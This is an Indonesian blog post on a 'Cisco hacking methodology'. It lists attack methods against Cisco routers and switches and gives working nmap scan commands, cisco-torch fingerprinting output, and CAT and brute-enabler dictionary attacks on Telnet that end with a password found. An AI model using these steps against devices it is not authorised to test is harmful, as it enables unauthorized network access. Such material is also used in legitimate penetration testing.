|
CISCO Hacking Methodology
lirva32 [at] yahoo [dot] com
"semua yang saya tulis di blog ini.... saya dedikasikan untuk kedua putri saya :
Faiza Debian dan Fivana Gutsy "
 Yap… betul sekali.. kalo saya sudah lama tidak menulis blog yang saya cintai ini…bukan alasan “sibuk” tapi memang sibuk di dunia nyata… pembodohan yang sangat keji sekali jika di dunia nyata kita tidak bisa belajar… tidak bisa melakukan kegiatan oprex2….
Sudahlah… yang terpenting hari ini saya berusaha menulis sesuatu yang mungkin saja berguna untuk Anda…atau bahkan hanya menjadi sampah buat otak Anda…saya tidak peduli… yang terpenting adalah niat berbagi saya untuk dunia IT bangsa ini…..lol
CISCO Hacking Methodology…? Iya, betul sekali materi tersebut yang mau saya bahas karena untuk melakukan penyerangan terhadap jaringan berbasis Router CISCO dan Catalyst CISCO memerlukan sebuah metode yang harus kita lakukan.
Ampuhkan metodenya…?? haaaa…ha…..ha…, ini hanya metode... yang namanya metode hanya menjelaskan langkah2 yang bisa dipergunakan untuk menempuh perjalanan hackingnya. Masalah “bobol” atau “tidak” ya sangat bergantung pada penyetingan terhadap perangkat tersebut… tapi tetap berpegang teguh “Nothing System 100% Secure…!!!”.
Mari kita berbicara Methodologi yang biasa dipergunakan dalam melakukan penyerangan terhadap jaringan berbasis router or catalyst CISCO.
Adapun beberapa metode yang biasa dipergunakan dalam melakukan penyerangan terhadap jaringan berbasis CISCO roter dan catalyst, antara lain :
1. Port Scaning : metoda ini digunakan untuk mengetahui “live host” dalam jaringan yang kita targetkan.
2. Fingerprinting : metoda ini digunakan untuk mendapatkan informasi lebih dari devices yang kita jadikan target
3. Password Guessing : metoda ini biasa digunakan untuk mendapatkan user name dan password terhadap target
4. SNMP Attack : metoda untuk melakukan pengujian dan penyerangan terhadap protokol SNMP.
5. Telnet Attack : metoda untuk melakukan pengujian dan penyerangan terhadap layanan TELNET
6. Web Browser Attack : metoda untuk melakukan pengujian dan penyerangan terhadap HTTP/HTTPS Authentication attack
7. TFTP : metoda untuk melakukan IOS copy dan IOS backup.
8. CISCO Bug : memanfaatkan bug dari IOS yang belum di patch.
Mari kita kenal methodologi tersebut lebih dekat.... biar kita tidak ”galaw” lagi.... kekekkeke....
1. Port Scanning
- nmap
o Proses scanning sangat efektif sekali jika kita melakukan scanning langsung ke CISCO devices dengan melakukan pengecekan langsung pada TCP dan UDP, maka gunakan perintah nmap, sebagai berikut :
- TCP scan: lakukan pengecekan terhadap IP target dan pengecekan terhadap port, mulai dari port 1 – 65535 hanya pada IP yang menjadi target saja. Hasil pengecekan akan tersimpan pada file TCP.scan.txt.
Perintah yang diperguakan :
nmap -sT -O -v -p 1-65535 <IP> -oN TCP.scan.txt
- UDP scan: lakukan pengecekan terhadap UDP, mulai dari port 1 – 65535 pada - This will perform a UDP scan, be verbose, scan ports 1 – 65535 hanya pada IP yang menjadi target saja. Hasil pengecekan akan tersimpan pada file UDP.sca.txt.
Perintah yang dipergunakan :
nmap -sU -v -p 1-65535 <IP> -oN UDP.scan.txt
o CISCOS | ciscos
- Nah, tool ini merupakan tool yang sangat saya gandungi…ada di Backtrack 4 sampe Bactrack 5 R1 juga masih ada.
ciscos biasa dipakai untuk melakukan pencarian CISCO devices yang ada dalam suatu jaringan dengan memanfaatkan CIDR network range.
Usage: ./ciscos <IP> <class>
2. Fingerprinting
- Nah, kalo dikalangan underground yang ada tools yang biasa digunakan untuk melakukan fingerprinting terhadap CISCO devices namanya : cisco-torch. Aplikasi ini akan melakukan FingerPrinting terhadap beberapa layanan diantaranya : SSH, Telnet dan HTTP.
# cisco-torch.pl -A 125.125.100.78
List of targets contains 1 host(s) 14489:
Checking 125.125.100.78... Fingerprint:2552511255251325525324255253311310
Description:Cisco IOS host (tested on 2611, 2950 and Aironet 1200 AP) Fingerprinting Successful
Cisco-IOS Webserver found
HTTP/1.1 401 Unauthorized
Date: Mon, 12 Oct 2011 11:34:11 GMT
Server: cisco-IOS Accept-Ranges: none
WWW-Authenticate: Basic realm="level_15_access"
401 Unauthorized
- Okay…kita juga bisa pake nmap untuk mengidentifikasi port2 yang terbuka, yang paling harus kita uji adalah port 23 (Telnet), port 80 (HTTP) dan SNMP agent receives requests on UDP port 161 & 162
# nmap -sV -O -v -p 23,80 <IP> -oN TCP.version.txt
# nmap -sV -O -v -p 161,162 <IP> -oN UDP.version.txt
3. Password Guessing
- Nah, kali ini kita akan berhadapan sama tool yang namanya : CAT (Cisco Auditing Tool), biasanya digunakan untuk melakukan dictionary attack terhadap Telnet server dan SNMP agent router dan catalyst CISCO.
# ./CAT -h <IP> -a password.wordlist
# CAT -h 125.125.100.78 -a /tmp/dict.txt
Guessing passwords:
Invalid Password: 1234
Invalid Password: latihan
Invalid Password: cisco
Password Found: england
- Ada lagi nih.. yang fungsinya juga sama seperti CAT yaitu : brute-enabler, tools ini memiliki kemampuan untuk melakukan cracking terhadap Telnet.
# ./enabler <IP> [-u username] -p password /password.wordlist [port]
# ./enabler 125.125.100.78 telnet /tmp/dict.txt
[`] OrigEquipMfr... wrong password
[`] Cisco... wrong password
[`] agent... wrong password
[`] all... wrong password
[`] possible password found: england
|
Nge-root Android…??? Hhhhmmmm, sebuah seni untuk mentake over proteksi Android.